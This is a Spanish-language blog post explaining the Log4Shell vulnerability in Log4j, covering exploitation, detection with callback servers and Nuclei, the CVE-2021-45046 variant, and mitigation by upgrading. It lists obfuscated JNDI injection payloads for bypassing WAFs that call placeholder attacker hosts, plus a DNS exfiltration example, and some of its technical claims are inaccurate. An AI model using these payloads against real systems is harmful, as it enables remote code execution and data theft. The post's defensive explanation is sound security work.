December 16, 2021     3 minute read

Contextualización

La vulnerabilidad de tipo RCE ocurre debido a que la función log4j2.formatMsgNoLookups existente en la librería JNDI, la cual se usa para acceder a recursos externos o referencias de Java y esta no realiza un correcto control del valor cargado, seguidamente con LDAP indicamos donde se quiere acceder. Así que, quien ataque puede enviar una petición, ya sea:

• Para obtener recursos mediante la inyección de código previamente encodeada en Base 64.
• Obtener una conexión reversa (reverse shell) a través de la carga remota de un archivo escrito en Java y ya compilado, Exploit.class el cual se va interpretar al ser cargado por el servidor.
• Ejecución de código arbitrario sobre el servidor objetivo.

Ya que el servidor descarga, almacena y carga lo que obtenga por parte del recurso externo (en el caso de un atacante, su propio servidor).

Exploit

El payload lleva comúnmente el formato ${jndi:ldap://IP_SERVER_ATACANTE/file}

• El atacante envía un parámetro manipulado ( por ejemplo ?x=) al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena: ${jndi:ldap://sitio-malicioso.com/exp} mediante una petición GET.
• El servidor vulnerable recibe la solicitud con el payload.
• La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
• La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
• Se ejecuta código en el servidor vulnerable.

Aunque el payload puede ser interceptada por un WAF fácilmente, este se puede bypassear de ilimitadas formas:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}

${${::-j}ndi:rmi://attackerendpoint.com/}

Estos consisten en variar y tratar de que no se envíe de forma clara el payload.

Además hay otro protocolo que se puede aprovechar, rmi el cual se puede usar con la utilidad mashalsec y se ve en el último payload mostrado.

Nota: Hay que considerar que cada producto afectado (Apache, Cisco, RedHat, Citrix, etc.. )de 4j en base a su configuración u arquitectura de red se explotan de forma diferente. (En la mayoría basta con la modificación del payload para bypassear posibles WAFs)

Detección

Para detectar la vulnerabilidad sin causar daños al activo, deberemos realizar los pasos mostrados en la sección de Explotación. Pero tratando se usar un payload que simplemente accedamos a nuestro servidor, por ejemplo: ${jndi:ldap://IP_SERVER_ATACANTE}

Posteriormente al lanzarla ya sea con ese payload o una variante a modo de bypass, si recibimos una petición en nuestro servidor, podremos confirmar que nuestro objetivo es vulnerable.

Hay varias opciones a la hora de interceptar la petición:

• Montar servidor HTTP para capturar peticiones entrantes (por ejemplo, con Python) y poder así confirmar que se ha recibido la petición al servidor a la que apuntabamos en el código inyectado.

• Podemos ayudarnos de un servidor DNS, para que mediante el encodeo del nombre del target en la petición, se reciba la petición con el nombre del host afectado, confirmando así que es vulnerable.

  Ejemplo: ${jndi:ldap://x${hostName}.dns1.myserver.com/a}

• Usando Nuclei y utilizando como servidor receptor de peticiones interactsh
  • Enlace a plantilla de Nuclei

Variantes de la vulnerabilidad

• CVE-2021-45046

  Está variante permite generar un ataque de denegación de servicios (DoS), dicha vulnerabilidad tiene una severidad relativamente baja y una complejidad de explotación alta.

  Dicha variante se aprovecha de la misma vulnerabilidad de JNDI, aunque a diferencia de Log4Shell esta gracias al control sobre el Mapa de Contexto de Hilos (MDC) cuando no se utiliza una patron de diseño predeterminado, se puede crear datos de entrada maliciosos mediante un patrón de búsqueda JNDI que concluye en un ataque DoS.

Versiones Afectadas

Log4j 2.0 a 2.14.1

Mitigación

Actualizar la librería a la versión Log4j 2.17

• CVE-2021-44228:
  • Se ha eliminado completamente la funcionalidad afectada.
• CVE-2021-45046:
  • Se ha eliminado el soporte para patrones de búsqueda de mensajes y se ha deshabilitado la funcionalidad JNDI por defecto.